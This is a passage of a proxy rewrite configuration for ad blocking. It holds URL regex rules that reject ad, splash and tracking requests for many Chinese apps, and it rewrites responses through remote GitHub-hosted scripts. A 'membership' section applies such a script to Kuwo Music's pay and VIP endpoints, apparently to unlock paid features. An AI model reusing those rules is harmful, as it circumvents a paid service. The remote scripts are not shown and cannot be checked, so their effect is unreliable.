+^https?:\/\/acs(\.|-)m\.(taobao|freshippo)\.com\/gw\/mtop\.wdk\.sg\.querysinglescene url reject-dict +^https?:\/\/acs(\.|-)m\.(taobao|freshippo)\.com\/gw\/mtop\.wdk\.render\.querysinglepage url reject-200 +^https?:\/\/acs(\.|-)m\.(taobao|freshippo)\.com\/gw\/mtop\.wdk\.fc\.recommend\.feedscommondservice url reject-dict +^https?:\/\/acs(\.|-)m\.(taobao|freshippo)\.com\/gw\/mtop\.wdk\.crm\.platform\.ma\.recommend url reject-dict +^https?:\/\/acs(\.|-)m\.(taobao|freshippo)\.com\/gw\/mtop\.wdk\.mimir\.recommend\.after\.purchase\.activity url reject-dict +^https?:\/\/acs(\.|-)m\.(taobao|freshippo)\.com\/gw\/mtop\.wdk\.render\.query(?>indexpage|mypage|tabfeedstream) url script-response-body https://raw.githubusercontent.com/zirawell/R-Store/main/Res/Scripts/AntiAd/freshippo.js + +# > 海豚优惠 +# hostname = *.townmalls.cn +^https?:\/\/.*\.townmalls\.cn:1890\/mossapi\/mossp\.BannerManager\/activityList.* url reject + +# > 海尔服务小程序 +# hostname = service.haiersmarthomes.com +# 横幅广告 +^https?:\/\/service\.haiersmarthomes\.com\/management\/banner\/getBannerList\?source=4 url reject-dict + +# > 好型体重秤 +# hostname = open.fitdays.cn +^https?:\/\/open\.fitdays\.cn\/uploads\/ad\/ url reject + +# > 横店电影小程序 +# hostname = api.hengdianfilm.com +# 开屏广告 +^https?:\/\/api\.hengdianfilm\.com\/\/cinema\/queryAvailableBannerInfo\/1 url 302 https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/hengdian.json +# 顶部横幅广告 +^https?:\/\/api\.hengdianfilm\.com\/\/cinema\/queryAvailableBannerInfo\/2\?cid= url reject-dict +# 中间横幅广告 +^https?:\/\/api\.hengdianfilm\.com\/\/cinema\/queryAvailableBannerInfo\/4\?cid= url reject-dict + +# > 汇付天下 +# hostname = mcsp.cloudpnr.com, saas-ad.cloudpnr.com +# 感谢【可莉】分享 +^https:\/\/mcsp\.cloudpnr\.com\/api\/miniapp\/popular\/T_MINIAPP$ url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/huifutianxia_ads.js +^https:\/\/saas-ad\.cloudpnr\.com\/huifuad-base-api\/api\/tactics\/ad url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/huifutianxia_ads.js + +# > 海马爸比 +# hostname = 39.98.135.211 +^https?:\/\/39\.98\.135\.211\/admin\/filter\/crowdFunding\/getNewProductData url reject-dict +^https?:\/\/39\.98\.135\.211\/admin\/filter\/advert\/getAdvertLists url reject-dict + + + +# >>>>>>>>>>>>>>> ✅ I ✅ <<<<<<<<<<<<<< +# > i3 +# hostname = www.i3zh.com +# 如开启可自行添加主机名 +^https?:\/\/www\.i3zh\.com url response-body cm-pop-up-banners response-body fmz200 + +# > IT之家 +# hostname = napi.ithome.com +# 移除 轮播图 置顶文章 信息流广告 +^https?:\/\/napi\.ithome\.com\/api\/(news\/index|topmenu\/getfeeds) url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/ithome/ithome.js + + + +# >>>>>>>>>>>>>>> ✅ J ✅ <<<<<<<<<<<<<< +# > 吉林银行 +# hostname = cdn.jlbank.com.cn +^https?:\/\/cdn\.jlbank\.com\.cn\/jlstaticresource\/APPSTART url reject-200 + +# > 江苏银行 +# hostname = mbank5.jsbchina.cn +# 可能导致登录验证码不显示 +^https?:\/\/mbank5\.jsbchina\.cn:443 url reject-dict + +# > 建行生活 +# hostname = yunbusiness.ccb.com, g.alicdn.com, waimai-guide.ele.me +# 全面广告净化 +^https?:\/\/yunbusiness\.ccb\.com\/(?>basic_service|clp_service)\/txCtrl\?txcode=A3341(?>SB16|C147|MB22|A009|A120|AB03|AB04|A068|A095|AB08) url script-response-body https://raw.githubusercontent.com/zirawell/R-Store/main/Res/Scripts/AntiAd/ccblife.js +# 内置饿了么 +^https?:\/\/g\.alicdn\.com\/.*o2o-ad url script-response-body https://raw.githubusercontent.com/zirawell/R-Store/main/Res/Scripts/AntiAd/alicdn.js +^https?:\/\/waimai-guide\.ele\.me\/\w+\/mtop\.alsc\.eleme\.\w+\.trigger\.respond url reject-dict +^https?:\/\/waimai-guide\.ele\.me\/\w+\/mtop\.alsc\.wamai\.store\.detail\.miniapp\.popup url reject +^https?:\/\/waimai-guide\.ele\.me\/\w+\/mtop\.venus\.shopcouponpopupservice\.getshopcouponspopup url reject +^https?:\/\/waimai-guide\.ele\.me\/\w+\/mtop\.venus\.shopresourceservice\.getshopresource url response-body posterList response-body random_body + +# > 简讯 +# hostname = api.tipsoon.com +^https?:\/\/api\.tipsoon\.com\/api\/v1\/top\/ad url reject-img + +# > 金山词霸 +# hostname = dict-mobile.iciba.com, mobile-pic.cache.iciba.com, service.iciba.com, *.kingsoft-office-service.com +^https?:\/\/dict-mobile\.iciba\.com\/interface\/index\.php\?.+(c=ad|collectFeedsAdShowCount|KSFeedsAdCardViewController) url reject +^https?:\/\/mobile-pic\.cache\.iciba\.com\/feeds_ad\/ url reject +^https?:\/\/service\.iciba\.com\/popo\/open\/screens\/v\d\?adjson url reject-200 +^https?:\/\/\w+?\.kingsoft-office-service\.com\/ad url reject-200 +^https?:\/\/.+?\.kingsoft-office-service\.com url reject + +# > 京东 +# hostname = api.m.jd.com, dns.jd.com +^https:\/\/api\.m\.jd\.com\/client\.action\?functionId=(deliverLayer|getTabHomeInfo|myOrderInfo|orderTrackBusiness|personinfoBusiness|start|welcomeHome) url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/jingdong/jingdong.js +# 禁京东直播小窗 +^https?:\/\/api\.m\.jd\.com\/client\.action\?functionId=getWidgetV1052 url reject + +# > 京东健康 +# hostname = m.360buyimg.com +^https?:\/\/m\.360buyimg\.com\/babel\/jfs\/t1\/[0-9]{6}\/[0-9]{2}\/[0-9]{5}\/[0-9]{6}\/.*.jpg url reject-200 + +# > 京喜 +# hostname = api.m.jd.com +^https?:\/\/api\.m\.jd\.com\/client\.action\?functionId=lite_advertising url response-body jdLiteAdvertisingVO response-body fmz200 +^https?:\/\/api\.m\.jd\.com\/client\.action\?functionId=lite_SmartPush url response-body pushData response-body fmz200 +^https?:\/\/api\.m\.jd\.com\/api\?functionId=delivery_show url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/jingxiAd.js + +# > 京东金融 +# hostname = m.360buyimg.com, api.m.jd.com, bdsp-x.jd.com, dsp-x.jd.com, ms.jr.jd.com, appconf.mail.163.com, support.you.163.com +^https?:\/\/m.360buyimg\.com\/mobilecms\/s1125x2436_jfs\/ url reject-200 +^https?:\/\/api\.m\.jd\.com\/client\.action\?functionId=start url reject-img +^https?:\/\/(bdsp-x|dsp-x)\.jd\.com\/adx\/ url reject-200 +^https?:\/\/ms\.jr\.jd\.com\/gw\/generic\/aladdin\/(new)?na\/m\/getLoadingPicture url reject +^https?:\/\/appconf\.mail\.163\.com\/mmad\/ url reject +^https?:\/\/support\.you\.163\.com\/xhr\/boot\/getBootMedia\.json url reject + +# > 京东读书 +# hostname = jdread-api.jd.com +^https?:\/\/jdread-api\.jd\.com\/jdread\/api\/channel\/module\/opens url reject-200 +^https?:\/\/jdread-api\.jd\.com\/jdread\/api\/popup url reject-200 + +# > 京东云无线宝 +# hostname = router-app-api.jdcloud.com +^https?:\/\/router-app-api\.jdcloud\.com\/v\d\/board\/routerAppSplash url reject-200 + +# > 界面新闻 +# hostname = img.jiemian.com +^https?:\/\/img\.jiemian\.com\/ads\/ url reject + +# > 驾校一点通 +# hostname = richmanrules.ksedt.com, api.jxedt.com, richmanapi.jxedt.com +# 开屏广告 感谢【jinlvei】分享 +^https?:\/\/richmanrules\.ksedt\.com\/intellectWaterfall(Bidding)?\/find url reject +^https?:\/\/richmanapi\.jxedt\.com\/api\/(ad|adplus|banadplus)\/ url reject-200 +^https?:\/\/api\.jxedt\.com\/ad\/ url reject +^https?:\/\/api\.jxedt\.com\/jump\/EMiCcDNp url reject-img +^https?:\/\/richmanmain\.jxedt\.com\/advertisement\/fallback url reject-img + +# > 驾考宝典 +# hostname = *.kakamobi.cn, smart.789.image.mucang.cn +^https?:\/\/\w+\.kakamobi\.cn\/api\/open\/v\d\/advert-sdk\/ url reject +^https?:\/\/789\.kakamobi\.cn\/.+adver url reject-img +^https?:\/\/smart\.789\.image\.mucang\.cn\/advert url reject-img + +# > 金十数据 +# hostname = jad-api.jin10.com +# 开屏广告和应用内弹窗 +^https?:\/\/jad-api\.jin10\.com\/ad url reject + +# > 今日头条 +# hostname = p*.pstatp.com +# 感谢【Jörgen Frecht】分享 +^https?:\/\/p\d\.pstatp.com\/origin url reject +^https?:\/\/pb\d\.pstatp.com\/origin url reject + +# > 今日水印相机 +# hostname = api.sogaha.cn +^https?:\/\/api\.sogaha\.cn\/ssp\/ad\/get\?ip url reject-dict + +# > 加油广东 +# hostname = img.gdoil.cn +^https?:\/\/img\.gdoil\.cn\/upload\/ad\/.*.(jpg|png) url reject-200 + +# > 韭菜公社 +# hostname = jiucaigongshe.oss-cn-beijing.aliyuncs.com +# 开屏广告干净了,有小部分误杀 +#^https?:\/\/jiucaigongshe\.oss-cn-beijing\.aliyuncs\.com\/.*.png url reject-200 +# 开屏倒计时还在,没有误杀 +#^https?:\/\/jiucaigongshe\.oss-cn-beijing\.aliyuncs\.com\/[A-Z0-9]{8}-[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{12}\.png url reject-200 + +# > 机核网 +# hostname = www.gcores.com +# 开屏广告 感谢【Ava阿檬】分享 +^https?:\/\/www\.gcores\.com\/gapi\/v1\/app-start-pages\?page url reject-dict + +# > 街电 微信小程序 +# hostname = s.jiediankeji.com +^https?:\/\/s\.jiediankeji\.com\/adv url reject-dict + +# > 极简汇率 +# hostname = explorer.tratao.com +^https?:\/\/explorer\.tratao\.com\/api\/client\/v4\/xtransfer\/ad\/ url reject + +# > 锦江荟APP +# hostname = booking.bestwehotel.com +^https:\/\/booking\.bestwehotel\.com\/proxy\/trip-hotel-banner\/activity\/getActivityInfo url reject-200 + + + +# >>>>>>>>>>>>>>> ✅ K ✅ <<<<<<<<<<<<<< +# > keep +# hostname = api.gotokeep.com, kad.gotokeep.com, static1.keepcdn.com +^https?:\/\/static1\.keepcdn\.com\/ark_optimus\/202\d\/*\/*\/.*.(png|jpg) url reject-200 +# 屏蔽应用内弹窗 +^https?:\/\/api\.gotokeep\.com\/guide-webapp\/v\d\/popup\/getPopUp url reject +# 屏蔽部分启动弹窗 +^https?:\/\/api\.gotokeep\.com\/kprime\/v\d\/popups\/primeGuide url reject +# 屏蔽开屏广告请求 +^https?:\/\/kad\.gotokeep\.com\/op-engine-webapp\/v\d\/ad url reject +# 屏蔽青少年弹窗 +^https?:\/\/api.gotokeep.com/cauchy/growth/init url reject +# 屏蔽搜索栏自动填充词 +^https?:\/\/api\.gotokeep\.com\/search\/v\d\/default\/keyword\/list url reject +# 屏蔽热词 +^https?:\/\/api\.gotokeep\.com\/search\/v\d\/hotword\/list url reject +# 屏蔽hotCourse +^https?:\/\/api\.gotokeep\.com\/search\/v\d\/hotCourse\/list url reject +# 屏蔽adwebapp +^https?:\/\/api\.gotokeep\.com\/op-engine-webapp\/v\d\/ad url reject +# 屏蔽广告预加载 +^https?:\/\/api\.gotokeep\.com\/ads\/v\d\/ads\/preload url reject +# 屏蔽adbox +^https?:\/\/api\.gotokeep\.com\/training\/box\/config url reject +# 屏蔽更新 +^https?:\/\/api\.gotokeep\.com\/anno\/v\d\/upgrade\/check url reject +# 我的页面去推广 +^https?:\/\/api\.gotokeep\.com\/athena\/v\d\/people\/my$ url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/keep.js +# 应用底部栏净化 +# ^https?:\/\/api\.gotokeep\.com\/config\/v\d\/basic url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/keep.js +# 发现页处理 +^https?:\/\/api\.gotokeep\.com\/homepage\/v\d\/tab url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/keep.js +# 课程预览页广告 +^https?:\/\/api\.gotokeep\.com\/nuocha\/course\/v\d/\w+\/preview url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/keep.js +# 我的运动页面去除下方推荐 +^https?:\/\/api\.gotokeep\.com\/sportpage\/sport\/v\d\/mysport url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/keep.js + +# > 快看 +# hostname = api.kkmh.com +^https?:\/\/api\.kkmh\.com\/v\d\/ad\/show url reject-200 +^https?:\/\/api\.kkmh\.com\/v\d\/advertisement\/ url reject-200 + +# > 快手 +# hostname = open.e.kuaishou.com +^https?:\/\/open\.e\.kuaishou\.com\/rest\/e\/v\d\/open\/univ$ url script-response-body https://raw.githubusercontent.com/app2smile/rules/master/js/adsense.js + +# > 夸克 +# hostname = open-cms-api.uc.cn, open-cms-api.quark.cn +^https?:\/\/open-cms-api\.(uc|quark)\.cn\/open-cms url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/quark.js + +# > 酷我音乐 +# hostname = audiobookpay.kuwo.cn, mgxhtj.kuwo.cn, nmobi.kuwo.cn, searchrecterm.kuwo.cn, musicpay.kuwo.cn, vip1.kuwo.cn +# 广告 +^https?:\/\/audiobookpay\.kuwo\.cn\/a\.p\?op=get_advertright_endtime url reject-dict +^https?:\/\/(mgxhtj|nmobi|searchrecterm)\.kuwo\.cn\/(mgxh|mobi|recterm)\.s url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/kuwo/kuwo.js +# 会员 +^https?:\/\/audiobookpay\.kuwo\.cn\/a\.p url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/kuwo/kuwo.js +^https?:\/\/musicpay\.kuwo\.cn\/music\.pay url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/kuwo/kuwo.js +^https?:\/\/vip1\.kuwo\.cn\/vip\/(enc\/user\/vip\?op=ui|v\d\/theme\?op=gd) url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/kuwo/kuwo.js +^https?:\/\/vip1\.kuwo\.cn\/vip\/v\d\/user\/vip\?op=ui url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/kuwo/kuwo.js + +# > 看天下 +# hostname = open3.vistastory.com +^https?:\/\/open3\.vistastory\.com\/v\d\/api\/index\/loading_ad url reject +^https?:\/\/open3\.vistastory\.com\/v\d\/api.*get_popup url reject + +# > 看理想 +# hostname = api.vistopia.com.cn +^https?:\/\/api\.vistopia\.com\.cn\/api\/v\d\/home\/advertisement url reject + +# > 快递100 +# hostname = cdn.kuaidi100.com, p.kuaidi100.com +^https?:\/\/cdn\.kuaidi100\.com\/images\/open\/appads url reject-img +^https?:\/\/p\.kuaidi100\.com\/mobile\/mobileapi\.do url reject + +# > 开源中国 +# hostname = www.oschina.net +^https?:\/\/www\.oschina\.net\/action\/apiv2\/get_launcher url reject-img + +# > 快手联盟,优量汇,穿山甲「广告联盟」 +# hostname = api-access.pangolin-sdk-toutiao.com, mi.gdt.qq.com, open.e.kuaishou.com +^https:\/\/(api-access\.pangolin-sdk-toutiao\.com\/api\/ad\/union\/sdk\/get_ads|open\.e\.kuaishou\.com\/rest\/e\/v3\/open\/univ$|mi\.gdt\.qq\.com\/gdt_mview\.fcg\?) url script-response-body https://raw.githubusercontent.com/app2smile/rules/master/js/adsense.js + +# > 口袋校园 +# hostname = pocketuni.net +^https?:\/\/pocketuni\.net\/\?app=api&mod=Message&act=ad url reject-200 + +# > 考公雷达/公考雷达 +# hostname = api.gongkaoleida.com +^https?:\/\/api\.gongkaoleida\.com\/api\/v2\/ad\/info url reject-dict + +# > 酷安 +# hostname = api.coolapk.com +# ^https?:\/\/api\.coolapk\.com\/v6\/search\?.*type=hotSearch url reject-dict +^https?:\/\/api\.coolapk\.com\/v6\/feed\/(detail|replyList)\? url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/coolapk.js +^https?:\/\/api\.coolapk\.com\/v6\/main\/(dataList|indexV8|init) url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/coolapk.js +^https?:\/\/api\.coolapk\.com\/v6\/page\/dataList\? url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/coolapk.js + +# > 肯德基 +# hostname = res.kfc.com.cn +^https?:\/\/res\.kfc\.com\.cn\/CRM\/kfcad\/apphome5\/apphome url reject-200 +^https?:\/\/res\.kfc\.com\.cn\/CRM\/kfcad\/apphome6\/\w+\.json\? url reject-dict +^https?:\/\/res\.kfc\.com.\cn\/advertisement\/ url reject + + + + +# >>>>>>>>>>>>>>> ✅ L ✅ <<<<<<<<<<<<<< +# > Line +# hostname = a.line.me, ad.line-scdn.net, buy.line.me, cix.line-apps.com, crs-event.line.me, d.line-scdn.net, gw.line.naver.jp, legy.line-apps.com, nelo2-col.linecorp.com, obs.line-scdn.net, scdn.line-apps.com, sch.line.me, static.line-scdn.net, uts-front.line-apps.com, w.line.me +https:\/\/a\.line\.me\/er\/lads\/v\d\/ei\? url reject-img +https:\/\/a\.line\.me\/er\/l.*\/v\d\/event\/image url reject-img +https:\/\/a\.line\.me\/lass\/api\/v\d\/ads$ url reject +https:\/\/a\.line\.me\/oa\/v\d\/e$ url reject +https:\/\/a\.line\.me\/cs\/v\d\/oa$ url reject +https:\/\/ad\.line-scdn\.net\/0h.+\/(o|m)\d+x\d+$ url reject-img +https:\/\/gw\.line\.naver\.jp\/ext\/lgfp\/lad\/v1$ url reject +https:\/\/gw\.line\.naver\.jp\/lass\/api\/v1\/ads$ url reject +https:\/\/gw\.line\.naver\.jp\/tr\/event$ url reject +https:\/\/legy\.line-apps\.com\/ext\/lgfp\/lad\/v1$ url reject +https:\/\/legy\.line-apps\.com\/ext\/smartch\/banner\/sch\/v1$ url reject +https:\/\/legy\.line-apps\.com\/tr\/event$ url reject +https:\/\/w\.line\.me\/adp\/api\/ad\/v\d\/ url reject +https:\/\/buy\.line\.me\/api\/graphql\?variables url reject +https:\/\/crs-event\.line\.me\/v\d\/imp url reject +https:\/\/obs\.line-scdn\.net\/0h.+\/(o|m)\d+x\d+$ url reject +https:\/\/obs\.line-scdn\.net\/0hGH\d url reject +https:\/\/obs\.line-scdn\.net\/0h.+\/\d+p\.mp4$ url reject +https:\/\/obs\.line-scdn\.net\/r\/linecrs\/.+\/m180x180$ url reject-img +https:\/\/d\.line-scdn\.net\/lcp-prod-photo\/20.+\.(jpg|jpeg|png) url reject-img +https:\/\/cix\.line-apps\.com\/R4\? url reject +https:\/\/scdn\.line-apps\.com\/appresources\/moretab\/list\.json url reject +https:\/\/scdn\.line-apps\.com\/lan\/image\/line\/bannerImageEvent\/ url reject +https:\/\/scdn\.line-apps\.com\/lan\/document\/pageEvent\/line\/ios\/ url reject +https:\/\/sch\.line\.me\/api\/v\d\/ads$ url reject +https:\/\/uts-front\.line-apps\.com\/event$ url reject +https:\/\/uts-front\.line-apps\.com\/settings$ url reject +https:\/\/static\.line-scdn\.net\/ad-sdk\/ url reject +https:\/\/nelo2-col\.linecorp\.com\/_store$ url reject + +# > LocSim +# hostname = app.aa-ab.com +# 屏蔽虚拟定位升级弹窗 +^https?:\/\/app\.aa-ab\.com\/home url reject-200 + +# > lofter +# hostname = ad.lofter.com, images.pinduoduo.com, lofter.lf127.net +# 开屏广告 感谢@林夕分享 +^https?:\/\/ad\.lofter.com\/v1\.1\/yitou\/madr url reject-200 +^https?:\/\/images\.pinduoduo\.com\/marketing\_api url reject-200 +^https?:\/\/lofter\.lf127\.net\/ad\-material url reject-200 + +# > linxi +# hostname = api.internetofcity.cn +^https?:\/\/api\.internetofcity\.cn\/api\/resource\/anon\/popups\/(getSplashList|getList) url reject + +# > 拉卡拉 +# hostname = gmp.lakala.com, wallet.lakala.com +^https:\/\/(?:gmp|wallet)\.lakala\.com\/(?:gmp\/openapi\/v2\/resource_space\/getResourceSpace|m\/(?:a\/lama\/mgt\/activity\/biz\/query\/byMerInfo|lama\/mgt\/activity\/(?:bank|biz)\/query\/list)) url reject-dict +# > 懒人听书 +# hostname = 118.178.214.118, dapis.mting.info, display.wting.info +^https?:\/\/118\.178\.214\.118\/yyting\/advertclient\/ClientAdvertList\.action url reject-img +^https?:\/\/dapis\.mting\.info\/yyting\/advertclient\/ClientAdvertList\.action url reject-img +^https?:\/\/.*\/yyting\/advertclient\/ClientAdvertList.action url reject +^https?:\/\/display\.wting\.info\/.*.jpeg url reject-200 + +# > 懒投资 +# hostname = ios.lantouzi.com +^https?:\/\/ios\.lantouzi\.com\/api\/startpage url reject + +# > 来疯 +# hostname = api.laifeng.com, api.jxedt.com +^https?:\/\/api\.laifeng\.com\/v\d\/start\/ads url reject +^https?:\/\/api\.jxedt\.com\/ad\/ url reject-200 + +# > 来电 小程序净化 +# hostname = mobile-api.imlaidian.com +^https?:\/\/mobile-api\.imlaidian\.com\/api\/args url reject-dict + +# > 莱充 +# hostname = mobile.laichon.com, shop.laichon.com +^https?:\/\/(mobile|shop)\.laichon\.com\/api\/(v1\/goods\/goodsList|exposureAdvStatistics|getWebAdvList) url reject + +# > 蓝基因 +# hostname = tk.lanjiyin.com.cn +# 首页弹窗广告 OCc分享 +^https?:\/\/tk\.lanjiyin\.com\.cn\/ad\/getAdList url reject + +# > 乐橙 +# hostname = dl-cu-hz.lechange.cn +^https:\/\/dl-cu-hz\.lechange\.cn\/oms-online\/advertisementPush url reject + +# > 乐堡潮玩馆小程序 +# hostname = tbgapplet.carlsberg.asia +# 开屏广告+弹窗广告 +^https?:\/\/tbgapplet\.carlsberg\.asia\/tuborg\/banner\/(loading|index) url reject-dict + +# > 联想 +# hostname = api.club.lenovo.cn +^https?:\/\/api\.club\.lenovo\.cn\/common\/open_ad url reject + +# > 拦截100 +# hostname = tagit.hyhuo.com +^https?:\/\/tagit\.hyhuo\.com\/recover\/list url reject + +# > 旅法师营地 +# hostname = www.iyingdi.cn +^https?:\/\/www\.iyingdi\.cn\/ad url reject-200 + +# > 旅途随身听 +# hostname = www.1314zhilv.com +^https?:\/\/www\.1314zhilv\.com\/ltsstnew\/(guideScenic\/getRecentlyUpdatedScenic|city\/getWeatherByCityName) url reject-dict +# 首页北京城市导览图片,首页上方轮播图片净化 +^https?:\/\/www\.1314zhilv\.com\/ltsstnew\/(common\/getJGQIconNew|city\/getAllBannelByCity) url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/lvtusuishenting/ltsst-ad.js + +# > LING Club-原菱菱邦 +# hostname = cdn-oss.00bang.cn, api.00bang.cn +# (第一条一劳永逸,误杀很多,后面几条没有误杀,需要频繁更新规则) +#^https?:\/\/cdn-oss\.00bang\.cn\/image\/LLB_OSS[A-Z0-9]{32}.jpg url reject-200 +^https?:\/\/cdn-oss\.00bang\.cn\/image\/LLB_OSS50140C35669841B7A4218215C8C5338A\.jpg url reject-200 +^https?:\/\/cdn-oss\.00bang\.cn\/image\/LLB_OSS32D553B6981546909417BEF3B7A3BC4D\.jpg url reject-200 +^https?:\/\/cdn-oss\.00bang\.cn\/image\/LLB_OSSC8A54C9913CA475DABECA1054A219CA2\.jpg url reject-200 +^https?:\/\/cdn-oss\.00bang\.cn\/image\/LLB_OSS2FC543D52E7447678660A4D9EC4F6C60\.jpg url reject-200 +^https?:\/\/api\.00bang\.cn\/llb\/baseinfo\/advertise\/getAdvertiseByPageCode url reject-200 + +# > 两步路 +# hostname = helper.2bulu.com +https?:\/\/helper\.2bulu\.com\/(greenPea\/queryTasks|proSpecial\/allData|saveSplashFrequencyStatistics|getPopInfo|getAppEntranceConfig|promote\/list|getSplash|outing\/reqFoundNewList|outing\/reqIndex) url reject + +# > 猎聘 +# hostname = api-ac.liepin.com, api-wanda.liepin.com +^https?:\/\/api-ac\.liepin\.com\/api\/com\.liepin\.cyclops\.live\.get-ad-cards url reject-dict +^https?:\/\/api-wanda\.liepin\.com\/api\/com\.liepin\.cbp\.baizhong\.op\.v2-show-4app url reject-200 + +# > 鲁班到家用户版 +# hostname = order-app-api.lbdj.com +# 去开屏广告 +^https:\/\/order-app-api\.lbdj\.com\/lbdj\/apporder\/ad\/ url reject-dict + +# > 罗森点点 +# hostname = plt.yorentown.com, lawsonapi.yorentown.com +^https:\/\/plt\.yorentown\.com\/pltapp\/v1\/banner url reject-dict +^https:\/\/lawsonapi\.yorentown\.com\/area\/sh-lawson\/app\/v1\/ url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/lawson.js +^https:\/\/lawsonapi\.yorentown\.com\/portal\/app\/globalLaunch\/listAdvert url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/lawson.js + + + +# >>>>>>>>>>>>>>> ✅ M ✅ <<<<<<<<<<<<<< +# > MIX +# hostname = dispatcher.camera360.com +^https?:\/\/dispatcher\.camera360\.com\/api\/v\d\/list$ url reject + +# > 妈妈网孕育 +# hostname = qimg.cdnmama.com +# 开屏广告 +^https?:\/\/qimg\.cdnmama\.com\/rd url reject-dict + +# > 猫耳FM +# hostname = app.missevan.com +# 开屏广告 感谢【可莉🅥】分享 +^https?:\/\/app\.missevan\.com\/site\/launch\? url reject + +# > 猫眼 +# hostname = p0.pipi.cn +# 开屏广告 +^https:\/\/p0\.pipi\.cn\/adAdmin\/\w+\.jpg\?imageMogr2\/quality\/ url reject-dict +^https:\/\/p0\.pipi\.cn\/adAdmin\/\w+\.(jpg|png)\?imageMogr2\/thumbnail\/(860x0|!165x165|!1049x1169) url reject-dict + +# > 每日精选 +# http:\/\/dili.sqcosmos.com\/jiekou\/mains\/p\d+.html response-body-json-jq '.album |= map(select(.id != "4154" and .id != "4165"))' +http:\/\/dili.sqcosmos.com\/jiekou\/endpage\/ad url reject-dict + +# > 美团 & 美团外卖 +# hostname = img.meituan.net, s3plus.meituan.net, flowplus.meituan.net +^https?:\/\/wmapi\.meituan\.com\/api\/v7\/(loadInfo|openscreen|startpicture)\? url reject-dict +^https?:\/\/(s3plus|flowplus)\.meituan\.net\/v\d\/\w+\/linglong\/\w+\.(gif|jpg|mp4) url reject-dict +^https?:\/\/img\.meituan\.net\/bizad\/bizad_brandCpt_\d+\.jpg url reject-dict +^https?:\/\/s3plus\.meituan\.net\/ocean-blk-index\/index\/blk_conf_73\.json url reject-dict +^https?:\/\/s3plus\.meituan\.net\/v1\/mss_\w+\/(brandcpt-vedio|waimai-alita)\/\w+\.zip$ url reject-dict +# 美团订单详情页更多推荐 +^https?:\/\/apimobile\.meituan\.com\/group\/v1\/recommend\/unity\/recommends url reject-dict + +# > 美团众包 +# hostname = peisongapi.meituan.com +^https?:\/\/peisongapi\.meituan\.com\/client\/getInitiateImage url reject-200 + +# > 美团充电宝小程序 +# hostname = cdb.meituan.com +^https?:\/\/cdb\.meituan\.com\/marketing\/source\/getPageSlotList url reject-dict + +# > 美柚 +# hostname = x.seeyouyima.com, axxd.xmseeyouyima.com +^http:\/\/x\.seeyouyima\.com\/adx\/staticstics\? url reject +^https:\/\/axxd\.xmseeyouyima\.com\/ad\/ url reject +^https:\/\/axxd\.xmseeyouyima\.com\/ad_statistics\? url reject +^https:\/\/axxd\.xmseeyouyima\.com\/v1\/getad\? url reject +^https:\/\/axxd\.xmseeyouyima\.com\/pregetad\? url reject +^https:\/\/config-service\.seeyouyima\.com\/api\/configs\/batch\? url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/meiyou/meiyou_ads.js +^https:\/\/config-service\.seeyouyima\.com\/api\/configs\? url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/meiyou/meiyou_ads.js + +# > 每日优鲜 +# hostname = j-image.missfresh.cn +^https?:\/\/j-image\.missfresh\.cn\/img_(.+)\.gif$ url reject +^https?:\/\/j-image\.missfresh\.cn\/img_(.+)\.(jpg|jpeg|gif|png)\?iopcmd=convert&dst=webp&q=85$ url reject + +# > 买单吧 +# hostname = creditcardapp.bankcomm.cn, creditcardapp.bankcomm.com, creditcard.bankcomm.cn, creditcard.bankcomm.com +^https?:\/\/creditcard\.bankcomm\.(com|cn)\/tfimg\/public00\/M00\/[a-zA-Z0-9]{2}\/[a-zA-Z0-9]{2}\/[a-zA-Z0-9-]{30}\.(jpg|jpeg) url reject +^https?:\/\/creditcardapp\.bankcomm\.(com|cn)\/mappweb_interface\/common\/(qryPopAds|qryLaunchAds)\.do url reject-200 +^https?:\/\/creditcardapp\.bankcomm\.(com|cn)\/rcg\/index\.html\?callbackurl=rcg\/index\.html&orclogin=1& url script-response-body https://raw.githubusercontent.com/zirawell/R-Store/main/Res/Scripts/AntiAd/mdb.js +^https?:\/\/creditcardapp\.bankcomm\.(com|cn)\/mappweb_interaction\/appInfo\/appNewestVersion url reject-200 + +# > 民生银行 +# hostname = www.cmbc.com.cn, rs.creditcard.cmbc.com.cn +^https?:\/\/www\.cmbc\.com\.cn\/m\/image\/loadingpage\/ url reject-200 +^https?:\/\/www\.cmbc\.com\.cn\/m\/image\/banner\/.*.png url reject-200 +# > 全民生活 +^https?://rs.creditcard.cmbc.com.cn/mmc/img/126f35586ece469aa2daf2e451ba7b4d.jpg url reject-200 + +# > 芒果TV +# hostname = *.mgtv.com +# 无用请求 +^https?:\/\/[\d\.]+:\d{5}\/\?cmd=indexes url reject +# 首页左上角推广 +^https?:\/\/[\d\.]+\/odin\/c1\/(channel\/ads|skin\/config)\? url reject-dict +# 底部tab红点 